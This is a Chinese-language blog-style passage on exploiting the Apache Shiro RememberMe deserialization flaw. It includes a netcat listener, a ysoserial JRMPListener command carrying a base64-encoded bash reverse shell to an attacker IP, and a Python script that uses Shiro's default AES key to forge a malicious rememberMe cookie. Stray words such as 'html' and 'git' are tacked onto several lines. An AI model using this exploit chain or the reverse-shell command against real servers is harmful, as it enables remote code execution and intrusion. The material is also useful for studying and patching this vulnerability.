Apache Shiro框架提供了記住密碼的功能(RememberMe),用戶登陸成功後會生成通過加密並編碼的cookie。在服務端對rememberMe的cookie值,先base64解碼而後AES解密再反序列化,就致使了反序列化RCE漏洞。html
那麼,Payload產生的過程:命令=》序列化=》AES加密=》base64編碼=》RememberMe Cookie值java
在整個漏洞利用過程當中,比較重要的是AES加密的密鑰,若是沒有修改默認的密鑰那麼久很容易就知道密鑰,payload構造起來也是十分簡單。python
會不停的匹配key值,共22種。經過對靶場的測試咱們發現使用紅框裏的AES密鑰,有了key以後有兩種利用方式。git
nc –lvp 1234
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"
python shiro.py 192.168.21.129:6666
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())